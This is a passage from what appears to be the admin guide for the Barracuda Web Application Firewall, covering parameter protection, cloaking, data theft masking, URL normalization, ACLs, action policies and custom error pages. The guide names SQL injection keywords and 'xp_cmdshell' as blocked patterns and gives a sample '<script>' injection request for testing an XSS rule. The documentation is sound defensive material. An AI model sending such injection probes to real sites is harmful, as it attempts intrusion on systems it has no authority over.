j. Exception Patterns – Enter the patterns to be allowed as exceptions in spite of them being part of a malicious pattern group.
The configuration should be the exact "Pattern Name" as found on the ADVANCED > View Internal Patterns page, or as
defined during the creation of a "New Group" through the ADVANCED > Libraries page. The pattern name can also be found in
a Web firewall log when a false positive occurs due to such a potentially "exception" pattern. For example, if the parameter value
matched "sql-comments" regex pattern under "sql-injection medium" attacks on the ADVANCED > View Internal Patterns page
, then adding "sql-comments" to this list will allow "sql-comments" in future.
4. Click Save.


To protect a service from attacks which employ the parameters of a URL query string or parameters of the form POST parameters, use SECURIT
Y POLICIES > Parameter Protection. Parameter Protection defends web applications from Parameter based attacks when parameter profiles
aren't used.
Parameters that contain special characters may have SQL or html tagging expressions embedded in them. Embedded SQL keywords like "OR,"
"SELECT," or "UNION" in a parameter, or system commands such as "xp_cmdshell" can exploit web application vulnerabilities. These attack
patterns can be configured in Parameter Protection, and compared to requests. If a parameter matches, the corresponding request is not
processed.
Steps To Configure Parameter Protection
1. Go to the SECURITY POLICIES > Parameter Protection page.

2. Select the policy whose parameter protections settings you want to configure from the Policy Name drop-down list.
3. In the Parameter Protection section, configure the following fields:
a. Enable Parameter Protection – Select Yes to enforce parameter protection when Parameter Profiles are not used for
validating the incoming requests.
b. Denied Metacharacters – Specify disallowed meta-characters in parameters. Non-printable characters such as "backspace"
and UI reserved characters like "?" should be URL encoded. Denied meta-characters help prevent SQL Injection and cross-site
scripting attacks. Some specified meta-characters may be valid for some parameters, resulting in valid requests being blocked.
The meta-character list should be appropriately tuned for specific parameters to avoid this problem. To add meta-characters,
click the Edit icon enter disallowed values.
c. Maximum Parameter Value Length – Specify the maximum allowed length of any parameter value, including no-name
parameters.
d. Maximum Instances – Enter the maximum number of times a parameter is allowed in a request. By default, the value is set to
1. Restricting this value to one (1) avoids a large class of HTTP Parameter pollution attacks and is recommended.
e. Base64 Decode Parameter Value – Set to Yes to apply base64 decoding to the parameter values. If the parameter value
adheres to the Data URI Scheme, the base64 decoding is applied on the parameter value irrespective of Base64 Decode
Parameter Value is set to Yes or No. If not, the base64 decoding is applied to the parameter value only when Base64 Decode
Parameter Value is set to Yes. Once the decoding is successful, other parameter checks are enforced as per the policy
settings.
The parameter value length check is always applied on the encoded/original value.
f. Allowed File Upload Type – Select Extensions to allow the files uploaded with extensions specified in File Upload
Extensions.
Select Mime Types to identify the content in the files before allowing to be uploaded with the mime types specified in File
Upload Mime Types.
g. File Upload Extensions – Specify the extensions of files which may be uploaded. '.' is a special extension allowing files with no
extension, and '*' allows any extension.
h. File Upload Mime Types – Specify the Mime types that are to be allowed as uploaded files. Use a "." to indicate a file with
unknown mime type, and use a * to indicate any kind of mime type.
i. Max Upload File Size – Specify the maximum allowed size of individual files being uploaded.
j. Blocked Attack Types – Select the attack types that needs to be matched in the requests. Attack Types specify malicious
patterns. Parameter values which match one of the specified Attack Types indicate an intrusion and are logged on the BASIC >
Web Firewall Logs page.
Attack Types are defined by groups of Regular expression patterns. Attack Types for SQL Injection, cross-site scripting and
System Command Injection attacks are provided by default, one or more of which can be enabled for comparison to request
parameters.
Each security policy is configured with default set of attack types that are applied to the matching requests. For more
comprehensive validation, select other attack type patterns.
k. Custom Blocked Attack Types – Select the custom attack types that needs to be matched in the requests. For information on
how to create custom blocked attack types, see Configuring User Defined Patterns.
l. Exception Patterns – Enter patterns which should be allowed despite matching a malicious pattern group. Configure the exact
"Pattern Name" displayed on the ADVANCED > View Internal Patterns page, or configured creating a "New Group"on the ADV
ANCED > Libraries page. The pattern name is also displayed in the Web Firewall Log when it is wrongly denied (a false
positive). For example, if the parameter value matched "sql-comments" regex pattern under "sql-injection medium"on the ADVA
NCED > View Internal Patterns page, then add "sql-comments" to the list to allow "sql-comments" in future.
m. Ignore Parameters – Specify parameters exempt from all validations. Use this to skip validations for especially large
parameters that are automatically generated by servers, such as __VIEWSTATE. Since these parameters are auto-generated,
they are less likely to be attacks, and therefore can safely be exempted from validation checks. Note: Ignore Parameter is an
exact match; wildcard is not supported. So a value with "*" does not work like a wildcard. Examples: __VIEWSTATE,
POSTBODY
4. Click Save.


While GET and POST are the predominant methods used by web servers for information access,
HTTP allows several less known methods*:
HEAD
GET
POST
PUT
DELETE
TRACE
OPTIONS
CONNECT
*RFC 2616 describes the above HTTP methods in detail.
The OPTIONS command allows clients to determine which methods the web server supports. Some methods allow modification of stored files,
stealing of user credentials, or bypassing environment level access control checks. URL protection allows an explicit way to specify allowed or
disallowed methods in URL calls. Disallowing PUT, DELETE, and TRACE is recommended. The allowed request content-types also need to be
carefully restricted to prevent similar security threats.

Cloaking prevents hackers from obtaining information that could be used to launch a successful subsequent attack. HTTP headers and return
codes are masked before sending a response to a client. The response headers are filtered based on the headers defined in the Headers to Filte
r field.
Cloaking features include:
Removing banner headers such as "Server" etc from responses.

Blocking client error (status code 4xx) and server error (status code 5xx) responses.
Steps To Configure Cloaking
1. Go to the SECURITY POLICIES > Cloaking page.

2. Select the policy from the Policy Name drop-down list for which you want to modify cloaking settings.
3. In the Cloaking section, specify values for the following fields:
a. Suppress Return Code – When set to Yes, the Barracuda Web Application Firewall blocks an HTTP Status code in the
response header and inserts a default of custom response page in case of any error responses from the server. Two types of
response error codes are suppressed:
i. 4xx (client): These are 400-series error codes. These codes are intended for instances when a client seems to have
erred when attempting to access a Web page.
The codes 401 and 407 are not suppressed since these are for authentication and the clients need to see
them to return the authentication credentials. Example: 404: Page not found.
.
ii. 5xx (server): These are 500-series error codes. These codes are intended to indicate that a server is aware that it has
a problem or that it is incapable of performing a request. Example: 500: Internal Error.
b. Filter Response Header – Set to Yes to remove HTTP headers in the response before relaying to the client. The HTTP headers
are filtered based on the headers defined in the Headers to Filter field below.
c. Headers to Filter – Define the HTTP headers to be removed from the response before serving it to the client.
If "set-cookie" header is added to Headers to Filter and Cookie Security is enabled, then set-cookie header is not
filtered from the response.
4. Click Save.
When Suppress Return Code is set to Yes, the Barracuda Web Application Firewall inserts a default or custom response page in case
of any error responses from the server. Typically, the Barracuda Web Application Firewall uses the default response page for error
responses from the server. You can define custom response page on the ADVANCED > Libraries > Response Pages section using A
dd Response Page. The default response page can be replaced with the custom response page on:
SECURITY POLICIES > Action Policy

SECURITY POLICIES > Global ACLs > Existing Global ACLs
WEBSITES > Allow/Deny > URL : Allow/Deny Rules


Data theft protection prevents unauthorized disclosure of confidential information. Configuring data theft protection requires two steps:
Specify any at risk data elements handled by the web application using Security Policy.
Enable protection of these elements where needed, using URL Policy.
Sensitive data elements may require masking to prevent their unauthorized disclosure, or requests containing sensitive data may be blocked
altogether. Using Security Policy, you can configure any sensitive data elements which may need protection, along with the desired way to handle
them. These settings can then be used by any service associated with the security policy. URL policies applied to narrowly defined URL spaces
requiring this protection can individually enable it as needed. Other URL spaces operate without unnecessarily incurring the processing hit. To
optimize performance, enable data theft protection only for parts of the site known to carry sensitive information.
The SECURITY POLICIES > Data Theft Protection page allows configuration of Identity Theft data types for a Security Policy. You can enable
protection for specific URLs using the WEBSITES > Advanced Security page. Security Policy Data Theft settings are then enforced only for
configured URLs. While, Barracuda Energize Updates provides a set of default protected patterns such as credit card and social security
numbers, these can be expanded or customized, using ADVANCED > Libraries, to include other web application specific data patterns needing
protection from disclosure. Any configured pattern can be masked, or the response blocked altogether, if a protected pattern occurs in the server
response.
When Data Theft Protection is enabled, the Barracuda Web Application Firewall intercepts the response from the server and compares it to the
pattern listed in the ADVANCED > View Internal Patterns page and ADVANCED > Libraries page (if any custom identity theft patterns). If the
response matches any of the defined patterns, it is blocked or cloaked depending on the Action (Block or Cloak) set. If Action is set to Block, the
response sent by the server is blocked. If set to Cloak, data is cloaked, that is, partly overwritten with "X"s.
When set to Block, the response is blocked according to the configured action for “Identity-theft-pattern-matched-in-response” in SECU
RITY POLICIES > Action Policy.
The default identity theft elements provided by the Barracuda Web Application Firewall are:
Credit Cards
Directory Indexing
Social Security Number (SSN)
Credit Cards and SSN
To prevent exposure of personal data such as Credit Card number and Social Security Number (SSN), select Block to block the response from
the server, Cloak to overwrite the characters based on values defined in the Initial Characters to Keep and Trailing Characters to Keep
parameters. By default, credit-card and ssn are set to Cloak.
Directory Indexing
If a web server is configured to display the list of all files within a requested directory, it may expose sensitive information. The Barracuda Web
Application Firewall prevents exposure of valuable data by blocking the response from the server. By default, directory indexing is set to Block.
Steps to Configure Data Theft Protection:
1. From the SECURITY POLICIES > Data Theft Protection page, select the policy for which you want to enable data theft protection.
2. In the Configure Data Theft Protection section, specify values for the following fields:
a. Data Theft Element Name – Enter a name for the data theft element.
b. Enabled – Select Yes to use this data element to be matched in the server response pages. This data element is used for
matching server response pages only when Enable Data Theft Protection is also set to Yes on the WEBSITES > Advanced
Security page.
c. Identity Theft Type – Select the data type from the drop-down list that the element mentioned in Data Theft Element Name
belongs to. The default identity theft patterns (Credit Card, SSN and Directory Indexing) are associated to data types defined
under ADVANCED > View Internal Patterns > Identity Theft Patterns. If you want to associate a custom identity theft pattern
created on the ADVANCED > Libraries page, select <CUSTOM> from the drop-down list and then select customized identity
theft type from the Custom Identity Theft Type field below.
d. Custom Identity Theft Type – Select the customized identity theft type to be used from the drop-down list.
e. Action – If set to Block, the response sent by the server containing this data type is blocked. The Block mode should be used if
the server should never expose this information. In the Cloak mode, a part of the data is cloaked, that is, overwritten with X’s
based on Initial Characters to Keep and Trailing Characters to Keep.
f. Initial Characters to Keep – Enter the number of initial characters to be displayed to the user when the data of this data type is
identified in a server page. For example, an online shopping service displays a user’s credit card number 1234 0000 0000 5678.
If Initial Characters to Keep is set to 4, the credit card number is displayed as 1234 XXXX XXXX XXXX.
g. Trailing Characters to Keep – Enter the number of trailing characters to be displayed to the user when the data of this data
type is identified in a server page. For example, an online shopping service displays a user’s credit card number as 1234 0000
0000 5678. If Trailing Characters to Keep is set to 4, the credit card number is displayed as XXXX XXXX XXXX 5678.
3. Click Add to add the above configuration settings.

Custom Identity Theft Patterns
The default data theft types are displayed under Protected Data Types in the SECURITY POLICIES > Data Theft Protection page. You can
also create custom identity theft data types on the ADVANCED > Libraries page to use.
Creating a Custom Identity Theft Pattern
1. Go to the ADVANCED > Libraries page, Identity Theft section, enter a name in the New Group field and click Add.
2. Click Add Pattern next to the created identify theft pattern group. The Identity Theft Patterns window appears. Specify values for the
following fields:
a. Pattern Name – Enter a name to identify the pattern.
b. Status – Set to On if you wish to use this pattern for pattern matching in the responses.
c. Pattern Regex – Define the regular expression of the pattern or click the Edit icon to select and insert the pattern.
d. Pattern Algorithm – Select the algorithm to associate with the pattern from the drop-down list.
e. Case Sensitive – Select Yes if you wish the pattern defined to be treated as case sensitive.
f. Pattern Description – (Optional). Enter the description for the pattern defined. Example, Visa credit card pattern. This indicates
the pattern used here is the visa credit card pattern.
3. Click Add.
Using a Custom Identity Theft Pattern
1. Go to the SECURITY POLICIES > Data Theft Protection page.

2. Select a policy from the Policy Name drop-down list.
3. In the Configure Data Theft Protection section, enter a name in the Data Theft Element Name text field.
4. Set Enabled to Yes to use this data element to be matched in the server response pages. This data element is used for matching server
response pages only when Enable Data Theft Protection is also set to Yes on the WEBSITES > Advanced Security page.
5. Select CUSTOM from the Identity Theft Type drop-down list.
6. Select the Identity theft pattern you created from the Custom Identity Theft Type drop-down list.
7. Set the Action to Block or Cloak. If set to Block, the response sent by the server containing this data type is blocked. The Block mode
should be used if the server is never expected to expose such information. In the Cloak mode, a part of the data is cloaked, that is,
overwritten with X’s based on Initial Characters to Keep and Trailing Characters to Keep.
8. If required, change the values of Initial Characters to Keep and Trailing Characters to Keep and click Add.
9. Now, you should bind this policy to a Service, so that any request coming to that service is matched with the pattern and then processed.
Turning on Data Theft Protection using URL Policy
To use Data Theft Protection for a requested URL, from the WEBSITES > Advanced Security page you must set Enable Data Theft Protection
to Yes for the appropriate URL Policy, either a URL policy matching the requested URL, or if the URL has no matching policy, for the default URL
Policy. When Enable Data Theft Protection is set to Yes for a requested URL, the Data Theft Protection settings from the Service's Security
Policy will be enforced for this request.


The Barracuda Web Application Firewall normalizes all traffic before applying any security policy string matches. For HTTP data, this requires
decoding Unicode, UTF, or Hex to base text, to prevent disguised attacks using encoding formats for which string matches are not effective.
Normalization is always enabled if the Barracuda Web Application Firewall is active. The Default Character set parameter specifies the character
set encoding type for incoming requests. ASCII is the default.
In some cases multiple character set encoding is needed, as for a Japanese language site which might need both Shift-JIS and EUC-JP
encoding. To add character set encoding, set the Detect Response Charset parameter to Yes. All response headers will be searched for a
META tag specifying the character set encoding type and any supported types will be added dynamically.
Double encoding is the re-encoding of the encoded data. For example: The UTF-8 escape for the backslash character is %5C, which is a
combination of three characters i.e. %, 5, and C. So the Double encoding is the re-encoding either one or all the 3 characters by using their
corresponding UTF-8 escapes as %25, %35, and %63.
Steps To Configure URL Normalization
1. Go to the SECURITY POLICIES > URL Normalization page.

2. Select the policy from the Policy Name drop-down list.
3. In the URL Normalizationsection, specify values for the following fields:
a. Default Character Set– Select the character set decoding type to be used for incoming requests. By default, it is set to UTF-8.
The character set decoding type are:
i. English only: ASCII (7-bit), ISO-8859-1 (8-bit)
ii. Unicode: UTF-8
iii. Chinese: GBK, GB2312, HZ, BIG-FIVE, EUC-TW, ISO-2022-CN
iv. Japanese: Shift-JIS, EUC-JP, ISO-2022-JP
v. Korean: EUC-KR, JOHAR, ISO-2022-KR
b. Detect Response Charset – Set to Yes to detect the character set decoding in the response page through the META tags
Content-Type headers. When set to No, it will not detect the character set decoding of the response. Instead it will use the static
settings of "Default Character set".
c. Parameter Separators – Select the url-decoded parameter separator to be used from the drop-down list.
d. Apply Double Decoding – Set to Yes to detect decoding of the character set after the completion of regular URL normalization.
If decoding fails, the request is blocked in active mode and log gets generated in the BASIC > Web Firewall Logs page. In
passive mode the request is allowed and also the logs get generated.
4. Click Save.


Global ACLs (URL ACLs) are strict allow/deny rules shareable among multiple services configured on the Barracuda Web Application Firewall.
They are associated with configured Security Policies.
Steps To Configure Global ACLs
1. Go to the SECURITY POLICIES > Global ACLs page.

3. In the Create Global ACL section, specify values for the following:
a. URL ACL Name – Enter a name for the URL ACL.
b. URL Match – Enter a URL to be matched against the URL in the request. The URL should start with a "/" and can have at most
one " * " anywhere in the URL. Examples: /Bank/Forms/*, /images/*.
c. Extended Match – Define an expression that consists of a combination of HTTP headers and/or query string parameters. This
expression is used to match against special attributes in the HTTP headers or query string parameters in the requests. Use '*' to
denote "any request", that is, do not apply the Extended Match condition. For information on how to write extended match
expression, see Extended Match Syntax Help.
d. Extended Match Sequence – Enter a number to indicate the order in which the extended match rule must be evaluated in the
requests.
e. Action – Select the action from the drop-down list to be taken on the request matching this URL.
i. Process – Processes any request matching this ACL.
ii. Allow – Allows the request by disabling all security checks on an incoming request that matches the ACL. It also
disables Data Theft on such responses.
iii. Deny and Log – Denies any request matching this ACL and also logs the event. The request is not subjected to any
security policies. This is an unconditional Deny. When a request is denied, the Barracuda Web Application Firewall
sends a cryptic error response.
iv. Deny with no Log – Same as Deny, but the event is not logged.
v. Temporary Redirect – Redirects the denied request with the 302 status code to the URL specified in the Redirect URL f
ield.
vi. Permanent Redirect – Redirects the denied request with the 301 status code to the URL specified in the Redirect URL f
ield.
f. Redirect URL – Specify a URL to which a user should be redirected if Action is set to Redirect.
4. Click Add.


Action policy is a collection of settings that decide what action to be taken when a violation occurs. It consists of a set of attack groups and
associated attack actions with it. The following attack groups are available:
advanced-policy-violations
application-profile-violations
param-profile-violations
protocol-violations
request-policy-violations
response-violations
url-profile-violations
The attack action specifies the action to be taken for a particular type of web attack. The attack action can be modified by clicking Edit next to it.
For description about the attack actions under each attack group, see Attacks Description - Action Policy.
Steps to Edit an Attack Action Policy

3. In the Action Policy section, identify the attack action and click Edit next to it. The Edit Attack Action window appears. Specify values
for the following:
a. Action – Select the action to be enforced when this attack is encountered.
i. Protect and Log – Blocks any request with the specified attack with a log message.
ii. Protect and no Log – Blocks any request with the specified attack with no log message.
iii. Allow and Log – Logs the request error.
iv. None – Allows the request by ignoring the violation.
b. Deny Response – Select the response to be sent to the client if the request is denied. A deny response is used when Action is
set to Protect and Log or Protect and no Log.
i. Close Connection – Closes the connection to the client sending the invalid request.
ii. Send Response – Sends the specified response page for the denied request.
iii. Temporary Redirect – Redirects the request with the 302 status code to the URL specified in the Redirect URL field
below.
iv. Permanent Redirect – Redirects the request with the 301 status code to the URL specified in the Redirect URL field
below.
c. Redirect URL – Enter the URL to be used to redirect the request if the deny response is set to Redirect. The Redirect URL
should be specified when the status-code in HTTP Status is one of 3xx redirect response codes.
The parameter "Redirect URL" should be specified in one of the following formats:
http://domain/url
https://domain/url
/url
Where URL and domain can be any ASCII strings. URL can be empty.
Examples:
http://secure.xyz.com/error.html
https://secure.xyz.com/logerror.cgi
/error.html
Response Page – Select the response page to be sent to the client, if the parameter Deny Response is set to Send Response.
Follow Up Action – Select the follow up action to be taken if the request is denied.
a. None – Allows the request by ignoring the violation.
b. Block Client-IP – Blocks all client requests to the Service for the time specified in Follow Up Action Time.
c. Challenge with CAPTCHA – Denies the response and any subsequent requests from the same client IP address will
be tracked for the next 900 seconds, and will be challenged with a CAPTCHA image. The client will not be allowed to
access any further resource until the CAPTCHA is answered. This is to thwart any reconnaissance efforts from the
automated clients which are found to be suspicious due to such attack activity. The number of attempts for solving such
a CAPTCHA challenge is five (5), and the number of re-fetches of the CAPTCHA image allowed is 128. Such tracked
client IP addresses will have to answer the CAPTCHA if they are idle for more than 300 seconds. Note that the Follow
Up Action Time has no relevance to this option.
a. Follow Up Action Time – Specify the time in seconds to block the client IP, if Follow Up Action is set to Block Client IP.
4. Click Save.

Back-end SSL Server Configuration
To use SSL encryption between the Barracuda Web Application Firewall and a server, Edit the server from the list of Servers in the BASIC >
Services list and set Server uses SSL to Yes in the SSL (Server) section. The Barracuda Web Application Firewall can validate the server
certificate using trusted certificates. If the server provides a self signed certificate, Validate Server Certificate should be No. You can also
configure a client certificate for the service to present to the server. This certificate configuration is needed if the server requires client
authentication, because the service acts as a client to the back-end server when it forwards requests. Online help provides more detailed
instructions for configuring these settings.
SSL for Barracuda Web Application Firewall to Server Transmissions
The Barracuda Web Application Firewall also provides server-side encryption, and can provide a certificate to the servers for client authentication
(the Barracuda Web Application Firewall acting as the client to the back-end servers). This protects services configured on the Barracuda Web
Application Firewall. The client-server negotiations include the following:
The Barracuda Web Application Firewall receives and verifies the Real server’s certificate.
The Barracuda Web Application Firewall may provide a certificate in return if client authentication is required by the back-end server.
The SSL handshake allows the server and the Barracuda Web Application Firewall to authenticate each other. Once mutually authenticated, both
use keys for encryption, decryption, and tamper detection during the SSL sessions.
To configure the Barracuda Web Application Firewall to use SSL in Server communications, add a Server for the respective service on the BASI
C > Services page using the Add column, and configure the Barracuda Web Application Firewall to validate the server certificate. For more
information on Client Certificates, refer to How to Use Client Certificates.

Allow/Deny Rules for Headers and URLs
The WEBSITES > Allow/Deny page allows you to define strict access control rules for the Services. Further a request with any violation is
allowed or denied based on the settings in this URL ACL and Header ACL. These controls include location checks, form checks, size checks, and
content checks both to and from the servers. They can also set landing page and entry controls, and they can provide custom error responses
and request redirection.
In this Section:



You can enforce strict limitations on incoming headers intended for a service using the WEBSITES > Allow/Deny Rules > Header : Allow/Deny
Rules section. You can sanitize HTTP headers that carry sensitive information identifying the client and some application-specific state
information passed as one or more HTTP headers. A header ACL can be configured to prevent attack types and stop potentially malicious
metacharacters and keywords from being allowed in a header.
To create a Header ACL rule:
1. Go to the WEBSITES > Allow/Deny Rules page.

2. In the Header : Allow/Deny Rules section, identify the Service which needs a header ACL rule.
3. Click Add next to the Service. The Create Header ACL window appears.
4. Specify appropriate values for the given fields and click Save.
For more information, click Help in the web interface.

Related Articles:


Strict allow/deny rules for a web application can be configured on the WEBSITES > Allow/Deny page. Allow/Deny rules allow you to customize
access to the web application based on a set of matching criteria. An administrator can configure a rule to control access to certain portions of the
web application as per the business requirement without changing any configuration on the web application itself.
A rule can be configured for a URL match, a Host header match and a set of optional extended match criteria (example: client IP address or the
HTTP method). Once a match is found, the request will be processed as per the configured action. The rule action can be configured to either
redirect the incoming request to another absolute URL, or to continue the processing of the request using the other security layers of the
Barracuda Web Application Firewall, in addition to allowing or denying a request explicitly.
To configure a specific match, click Add or Edit next to the Service and use the Extended Match widget. For rule matching and subsequent
evaluation, URL match and Host header matches are prioritized over extended matches. If more than one rule with the same URL match/Host
header match is configured, they are evaluated based on the specified extended match sequence.
There are two ways of redirecting a request using the URL ACL:
Set the Action parameter to Temporary Redirect or Permanent Redirect, and specify the Redirect URL.
Set the Action parameter to Deny and Log, set the Deny Response to Temporary Redirect or Permanent Redirect and
specify the Redirect URL.
The first case is not considered an attack, therefore:
It is logged at a lesser severity.

Passive mode has no effect on it.
The second case is a suspected attack, therefore:
It is logged at a higher severity.

Passive mode is applied so that the request is not denied.
To create a URL ACL rule:
1. Go to the WEBSITES > Allow/Deny Rules page.

2. In the URL : Allow/Deny Rules section, identify the Service to which you want to add the URL ACL rule.
3. Click Add next to the Service. The Create ACL window appears.
4. Specify appropriate values for the given fields and click Save.
For more information, click Help in the web interface.

Related Articles:

How to Configure URL Encryption Rule
The URL Encryption feature serves to prevent forceful browsing. It encrypts the URLs for a service, hiding the internal directory structure of the
web application from users.
How It Works
URL Encryption requires no changes to the application. It only requires you to specify the URL , which contains the links/sub-directories that must
be encrypted. The following diagram illustrates how URLs for the web application at "https://www.myapp.com" are encrypted in response to
users.
1. The user sends a request to "https://www.myapp.com".

2. The web application returns the requested page containing many links, which lead to other files in the same web application.
3. The Barracuda Web Application Firewall processes the response to the user and encrypts all URLs associated with the requested page
(i.e., the path, file name and all the parameters of an URL).
4. If the encrypted URLs are manipulated or tampered with in subsequent requests from the user, the requests are blocked and logged on
the BASIC > Web Firewall Logs page.
Configuring URL Encryption Rule
Create a rule to enable URL encryption for the service.
1. Go to the WEBSITES > URL Encryption page.

2. Next to the service, click Add.
3. In the Add URL Encryption Rule window, enter a name and enable the rule. Specify the URL and host name of the links that must be
encrypted. You can also choose to allow valid unencrypted requests and specify exclusions to the rule.
a. The URL must start with a forward slash (/) and can have a maximum of one asterisk (*). For example, if you enter /forms.html,
for any requests that match this URL, all the URLs associated with this URL will be encrypted. To encrypt all URLs in the
domain for the service, enter: /*
b. For the host, you can enter either a specific host match or a wildcard host match with a single asterisk (*) anywhere in the URL.
4. Click Add.
5. If you want to exclude any URL patterns from URL encryption validation, click Edit next to the URL encryption rule and add the patterns
in Exclude URL Patterns.
6. Modify the values of other parameters (if required), and click Save.

How to Create a Custom Response Page
The Barracuda Web Application Firewall provides a predefined set of HTML pages that are used by the relevant modules as responses. The
response pages are used in the following modules:
SECURITY POLICIES > Global ACLs - if Deny Response is set to Response Page.
SECURITY POLICIES > Action Policy - if Deny Response is set to Send Response.
WEBSITES > Allow/Deny > URL : Allow/Deny Rules - if Deny Response is set to Response Page.
ACCESS CONTROL > Authentication Policies - To capture user login credentials, or to handle various error conditions.
These response pages can be customized according to your requirement, or you can create a response page with a custom message (i.e. error
message, attack information, a unique ID, etc.) to display to users. A custom response page can be configured in the ADVANCED > Libraries >
Response Pages section, and then associated with the appropriate module. A response page can include:
An error message if a user violates a configured security policy.

A login/challenge page to authenticate/authorize a user.
A CAPTCHA and challenging the user to respond.
Steps to Create a Custom Response Page
1. Go to the ADVANCED > Libraries page, Response Pages section and click Add Response Page.
2. On the Add Response Page window, specify values for the following:
a. Response Page Name: Enter a name for the response page.
b. Type: Select the type of response page you want to create.
i. Error Pages: Response pages displayed in relevant modules when the request is blocked due to violation of configured
security policies.
ii. CAPTCHA Pages: Response pages displayed in relevant modules where the user needs to be challenged with a
CAPTCHA.
iii. Access Control Pages: Response pages displayed when authentication and authorization is enabled for a service.
iv. Other Pages: Response pages to use in any module.
c. Status Code: Enter an HTTP status code for the response page. Examples: 404 Not Found, 200 OK, 302 Found, etc.
d. Headers: Enter the response headers for the response page. Examples:
i. Allow - What request methods (GET, POST, etc.) does the server support?
ii. Content-type - Content type of the resource (such as text/html).
iii. Connection - Options specified for a particular connection which must not be communicated by proxies over further
connections.
iv. Location - Where client can retrieve the document?
v. Refresh - How soon should the browser ask for an updated page (in seconds)?
e. Body: Configure the response body for the response page. This is the HTML source of the response page that will be displayed
to the client.
This feature is applicable ONLY for Error Pages.
The following macros are supported when you create an error response page. When the error response page displays, these
macros are replaced by the following information:
i. %action-id - attack ID of the violation which resulted in the response page displaying.
ii. %host - host header which sent the request.
iii. %s - URL of the request which caused the violation.
iv. %client-ip - Client IP of the request which caused the violation.
v. %attack-time - time at which the violation occurred.
vi. %attack-name - attack name of the violation resulting in the response page displaying.
vii. %log-id - unique ID of the Web Firewall Log, generated due to a violation in the request. The client is presented with a
response page including the unique ID.
3. Click Save.
Example:
Scenario: You want to present a custom response page to the user if a Cross-Site Scripting error is detected by a service using the default
security policy of the Barracuda Web Application Firewall.
In this example, we create a custom response page named custom-resp-page associated with the Cross-Site Scripting Parameter attack
under the default policy on the SECURITY POLICIES > Action Policy page. In this example, the default policy is associated with the service (ww
w.test.com). If a request injected with a client-side script is sent to the service (test.com), the Barracuda Web Application Firewall detects the
attack and sends the response page associated with the violation.
1. Go to the ADVANCED > Libraries page, Response Pages section and click Add Response Page.
2.

2. On the Add Response Page window, specify values for the following fields:
a. Response Page Name - custom-resp-page
b. Type - Error Pages
c. Status Code - 404 Not Found
d. Headers - Connection:Close <br>Content-Type:text/html
e. Body - <div style="border: 3px solid #4991C5; font:1.5em; font-family:tahoma,calibri,arial; font-weight:bold; color:#1A4369;
padding:5px; margin:10px; text-align:center"> An error occurred while processing the request, please contact Customer Support
and provide the following ID: <br><font color="red">%log-id </font></br></div> </div>
3. Click Save.
4. Go to the SECURITY POLICIES > Action Policy page, and click Edit next to Cross-Site Scripting in Parameter.
5. On the Edit Attack Action window:
a. Action - Select Protect and Log.
b. Deny Response - Select Send Response.
c. Response Page – Select the response page (custom-resp-page) you created in step 2.
d. Click Save.
6. Repeat step 5 for other Cross-Site Scripting attacks (i.e. Cross-Site Scripting in Header, Cross-Site Scripting in URL and Cross Site
Scripting in JSON Data) on the SECURITY POLICIES > Action Policy page.
7. Now, open a web browser and type http://www.test.com:800/index.html?name=<script>
8. You will see the configured response page.

8.

How to Enable HTTP/2
In this Article:
How does the Barracuda Web Application work when HTTP/2 is enabled for a Service:
Head-of-Line Blocking
Enabling HTTP/2 for a Service
Hypertext Transfer Protocol Version 2 (HTTP/2.0) is an upgraded version of protocol HTTP/1.1. HTTP/2 enables a more efficient use of network
resources and reduced latency by introducing header field compression and allowing multiple concurrent exchanges on the same connection. It
also introduces unsolicited push of representations from servers to clients. Overall, the goal for designing HTTP/2 was to improve the page load
time and user experience. For more information on HTTP/2.0, refer to RFC 7540.
The Barracuda Web Application Firewall now supports protocol HTTP/2.0 between the client and the server. When HTTP/2 is enabled for a
service, the Barracuda Web Application Firewall and the client use HTTP/2 to communicate with each other.
How does the Barracuda Web Application work when HTTP/2 is enabled for a Service:
1. The client sends an HTTP/2 request.

2. The Barracuda Web Application Firewall understands the HTTP/2 protocol and parses HTTP/2 frames as they arrive.
3. The Barracuda Web Application Firewall coverts the HTTP/2 request to a HTTP/1.1 request.
4. The HTTP/1.1 request is passed through the Barracuda Web Application Firewall security modules for inspection and sanitization.
5. After performing security validations, the HTTP/1.1 request is sent to the back-end server. The server responds to the response.
6. The Barracuda Web Application Firewall converts the response to the HTTP/2 format frames and forwards it to the client.
Head-of-Line Blocking
Multiple HTTP/2 streams can be active at any point of time and the Barracuda Web Application Firewall allows clients to establish multiple
HTTP/2 streams. When these streams are received, they are separated out into individual HTTP/1 requests and sent to the backend server using
connection pooling. Since the Barracuda Web Application Firewall recognizes that the client is HTTP/2 capable, it does not block if any of the
backend HTTP/1 requests is not complete. Rather, it gathers the responses from the completed HTTP/1 requests and streams them out to the
client after converting them to HTTP/2 streams.
Each of the HTTP/2 stream corresponding to a HTTP request can also be load balanced by the Barracuda Web Application Firewall, and sent to
the back-end servers in parallel, assuming persistence settings allow such distribution.
Enabling HTTP/2 for a Service
It is recommended that you enable HTTP/2 for a Service if there are clients that are ready to communicate via HTTP/2 protocol, and need
improved user experience and page load performance.
Perform the following steps to enable HTTP/2 for a Service:
1. Go to the ADVANCED > System Configuration page.

2. In the Advanced Settings section, set Show Advanced Settings to Yes.
4. In the Services section, identify the service to which you want to enable HTTP/2.
5. Click Edit next to it. The Service window appears.
6. In the Service window:
a. Scroll down to the Advanced Configuration section.
b. Set Enable HTTP2 to Yes.
c. Specify values for other parameters (if required).
d. Click Save.

How to Enable WebSocket
In this Article:
How the Barracuda Web Application work when it sees WebSocket traffic
Enabling WebSocket for a Service
WebSocket is a protocol that provides a two-way, bidirectional (full-duplex) communication over a single TCP connection, so that the data can be
transferred simultaneously at any time. While WebSocket runs over TCP, it is different from other TCP-based full-duplex protocols because, it
runs over the standard HTTP/SSL port numbers. WebSocket is primarily designed for server-browser communication and to address limitations
of HTTP/1.1 – primarily its inability to perform out-of-order request processing and lack of support for server-initiated transactions (server push).
How the Barracuda Web Application work when it sees WebSocket traffic
A WebSocket connection is established by a handshake mechanism between the client and the server, whereby both agree to upgrade from
HTTP to WebSockets. Though the handshake itself happens using the HTTP protocol, subsequent traffic does not conform to HTTP. In fact, the
client and server are free to choose any format for data exchange, including binary, compressed or encrypted.
Since the choice of the data format is left unspecified by the standard, the Barracuda Web Application Firewall cannot generically parse data
inside WebSockets for security inspection. It therefore acts as a pass-through proxy allowing data in and out without performing any checks on
the data.
In addition to this support, the Barracuda Web Application Firewall also supports the Proxy protocol for the Amazon Elastic Load Balancer (ELB).
Since the Amazon ELB does not support WebSockets, it blocks WebSocket transactions in HTTP proxy mode. For this reason, the Amazon ELB
